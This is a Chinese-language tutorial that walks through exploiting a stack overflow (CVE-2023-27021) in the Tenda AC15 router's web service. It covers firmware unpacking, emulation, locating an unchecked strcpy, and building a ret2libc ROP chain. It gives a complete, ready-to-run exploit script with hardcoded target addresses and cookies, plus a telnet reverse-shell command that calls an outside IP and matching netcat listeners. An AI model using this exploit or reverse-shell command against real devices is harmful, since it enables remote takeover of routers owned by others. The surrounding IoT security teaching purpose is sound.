路由器通用0day漏洞挖掘及RCE思路
字数 1329 2025-08-22 12:23:13
路由器通用0day漏洞挖掘及RCE思路教学文档
一、概述
本教学文档以Tenda AC15 V15.03.05.19路由器为例,详细讲解如何挖掘栈溢出漏洞并实现远程代码执行(RCE)。通过分析CVE-2023-27021漏洞,为IoT安全初学者提供完整的漏洞挖掘和利用思路。
二、环境搭建
1. 获取固件
- 从厂商官网下载目标固件:https://www.tenda.com.cn/download/detail-2680.html
- 建议选择更新间隔较长的旧版本固件,漏洞概率更高
2. 解包固件
使用binwalk解包固件文件(建议完整安装binwalk):
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root
解包后得到squashfs-root文件夹,包含路由器的文件系统。
3. 关键文件定位
- Web服务程序通常位于
bin/httpd - 使用
file命令确认文件架构:ARM 32位小端程序
4. 模拟运行环境
安装QEMU进行模拟:
apt install qemu qemu-user-static qemu-system
配置网络桥接:
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 ens32
ifconfig br0 up
dhclient br0
启动HTTP服务:
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
若返回404,需复制webroot内容:
mkdir webroot
cp -rf ./webroot_ro/* ./webroot/
三、漏洞挖掘
1. 漏洞定位策略
- 重点关注危险函数:
- 格式化字符串函数:scanf
- 字符串操作函数:strcpy、strcat、sprintf
- 历史漏洞分析:Tenda路由器常见strcpy相关漏洞
2. 逆向分析
使用IDA分析httpd文件:
- 搜索
strcpy函数交叉引用(约160个) - 逐个分析函数调用上下文
3. 漏洞确认
发现formSetFirewallCfg函数存在漏洞:
char s[40]; // [sp+4Ch] [bp-34h] BYREF
websGetVar(request, "firewallEn", s, 0x100);
strcpy(v3, s); // 无长度检查,直接拷贝
4. 漏洞验证
构造PoC验证漏洞:
import requests
url = "http://47.98.137.248/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=rtp5gk"
}
payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)
成功触发拒绝服务,确认漏洞存在。
四、漏洞利用
1. 保护机制检查
使用checksec检查二进制保护:
- 仅NX enabled(不可执行栈)
- 利用思路:ROP链构造参数执行system命令
2. 调试环境配置
安装gdb-multiarch及pwndbg插件:
apt install gdb-multiarch
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
启动调试:
chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd
另开终端连接调试:
gdb-multiarch ./bin/httpd
set architecture arm
target remote :9999
c
3. 利用思路(ret2libc)
- 获取libc基地址
- 计算system函数地址
- 控制r0寄存器传入参数
- 执行system函数
4. 关键步骤实现
(1) 计算偏移量
使用cyclic确定溢出偏移:
payload = cyclic(500) # 替换原PoC
调试后使用cyclic -l <PC值>计算得偏移量为52。
(2) 获取libc基地址
调试时使用vmmap查看内存布局,确定libc基地址为0xff58c000。
(3) 计算system地址
from pwn import *
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
system_addr = libc_base_addr + system_offset
(4) 寻找ROP gadget
查找控制r0的gadget:
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
选择0x00040cb8:
move_r0 = libc_base_addr + 0x00040cb8
查找pop r3的gadget:
ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3
选择0x00018298:
r3_pop = libc_base_addr + 0x00018298
5. 完整利用脚本
from pwn import *
import requests
url = "http://47.98.137.248"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb"
}
# 命令执行:通过telnet反弹shell
cmd = b"echo test;telnet 101.43.8.96 4444 | /bin/sh | telnet 101.43.8.96 5555"
libc_base_addr = 0xff58c000
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
system_addr = libc_base_addr + system_offset
r3_pop = libc_base_addr + 0x00018298
move_r0 = libc_base_addr + 0x00040cb8
payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd
data = {"firewallEn": payload}
response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data)
print(response.text)
6. 获取shell
在攻击机监听端口:
nc -lvp 4444
nc -lvp 5555 # 接收回显
成功建立连接后即可执行命令。
五、总结
- 固件分析:通过binwalk解包获取文件系统
- 漏洞挖掘:从危险函数入手,分析调用上下文
- 漏洞验证:构造PoC触发漏洞
- 利用开发:基于ret2libc构造ROP链
- 实战技巧:使用telnet反弹shell(路由器通常不支持/bin/bash)
关键点:
- 准确计算偏移量
- 正确获取libc基地址
- 精心选择ROP gadget
- 考虑目标环境限制(如不支持/bin/bash)